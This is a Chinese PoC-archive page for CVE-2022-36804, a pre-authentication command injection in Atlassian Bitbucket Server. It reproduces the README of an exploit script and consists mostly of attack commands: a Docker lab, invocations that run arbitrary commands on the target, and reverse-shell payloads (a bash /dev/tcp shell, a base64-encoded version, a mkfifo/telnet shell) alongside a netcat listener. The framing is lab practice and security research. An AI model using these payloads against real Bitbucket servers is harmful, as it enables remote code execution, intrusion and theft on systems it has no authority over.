POC详情: bc7b840654e1d5b8b350269b3220c498ada1e399

来源
关联漏洞
标题: Atlassian Bitbucket Server 安全漏洞 (CVE-2022-36804)
描述:Atlassian Bitbucket Server是澳大利亚Atlassian公司的一款Git代码托管解决方案。该方案能够管理并审查代码,具有差异视图、JIRA集成和构建集成等功能。 Atlassian Bitbucket Server and Data Center存在安全漏洞,该漏洞源于允许对公共或私有Bitbucket库有读取权限的远程攻击者通过发送恶意的HTTP请求执行任意代码。以下产品及版本受到影响:7.0.0 至 7.6.17 之前版本,7.7.0 至 7.17.10 之前版本,7.18.0
描述
A critical command injection vulnerability was found in multiple API endpoints of the Atlassian Bit bucket Server and Data center. This vulnerability affects all versions of Bitbucket Server and Data Center released before versions <7.6.17, <7.17.10, <7.21.4, <8.0.3, <8.1.2, <8.2.2, and <8.3.1
介绍
# CVE-2022-36804: Pre-Auth RCE in Atlassian Bitbucket Server
A critical command injection vulnerability was found in multiple API endpoints of the Atlassian Bit bucket Server and Data center. This vulnerability affects all versions of Bitbucket Server and Data Center released before versions `<7.6.17`, `<7.17.10`, `<7.21.4`, `<8.0.3`, `<8.1.2`, `<8.2.2`, and `<8.3.1`

## Lab for CVE-2022-36804
### Build Docker
```
docker build -t bitbucket .
```

### Run Docker
```
docker run -it bitbucket
```

# Usage cve-2022-36804.py
### Check for Remote Code Execution (RCE)
```
python3 cve-2022-36804.py -u http://172.17.0.2:7990
```

### Check for RCE with customized command (cmd)
```
python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c id
```

###  Check for RCE with customized command, project key, and repository name
```
python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c whoami -p NEW -r newrepo
```

### Check for private repository
```
python3 cve-2022-36804.py -u http://172.17.0.2:7990 -p NEW -r newrepo --session 2074C8FFA5D13088332C8DF0CD8A7CE7
```

### Get shell with netcat
Replace `172.17.0.3` with your local ip address
```
python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c "/bin/bash -i >& /dev/tcp/172.17.0.3/4444 0>&1"
```
Start netcat listner with:
```
nc -lvp 4444
```

Convert `/bin/bash -i >& /dev/tcp/172.17.0.3/4444 0>&1` to base64 in case of payload execution error.
```
python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c "echo 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE3Mi4xNy4wLjMvNDQ0NCAwPiYx' | base64 -d | bash |"
```

If you are still facing any error, execute below command:
> TF=$(mktemp -u);mkfifo $TF && telnet 172.17.0.3 4444 0<$TF | /bin/bash 1>$TF
```
python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c "TF=$(mktemp -u);mkfifo $TF && telnet 172.17.0.3 4444 0<$TF | /bin/bash 1>$TF"
```

It is recommended to install vulnerable version of Bitbucket server in Windows/Linux machine for practice. It will be easy to achieve reverse shell compared to docker images.

More information can be found [here](https://walnutsecurity.com/cve-2022-36804-rce-in-bitbucket-server/)

# References
* https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-advisory-2022-08-24-1155489835.html
* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-36804
* https://walnutsecurity.com/cve-2022-36804-rce-in-bitbucket-server/
文件快照

[4.0K] /data/pocs/bc7b840654e1d5b8b350269b3220c498ada1e399 ├── [6.5K] cve-2022-36804.py ├── [ 434] Dockerfile └── [2.3K] README.md 0 directories, 3 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。